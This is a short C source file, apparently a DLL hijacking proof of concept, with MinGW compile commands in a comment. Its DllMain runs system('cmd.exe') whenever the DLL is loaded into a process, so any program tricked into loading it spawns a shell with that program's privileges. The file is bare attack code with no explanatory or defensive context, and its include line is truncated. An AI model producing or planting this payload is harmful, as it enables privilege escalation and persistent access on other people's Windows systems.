/* Compile with: i686-w64-mingw32-g++ dll_hijack.c -lws2_32 -shared -o hijack.dll x86_64-w64-mingw32-gcc dll_hijack.c -shared -o hijack.dll i686-w64-mingw32-gcc dll_hijack.c -shared -o hijack.dll */ #include void Entry () { system("cmd.exe"); //WinExec("cmd.exe", 0); } BOOL WINAPI DllMain (HANDLE hModule, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: Entry(); break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; }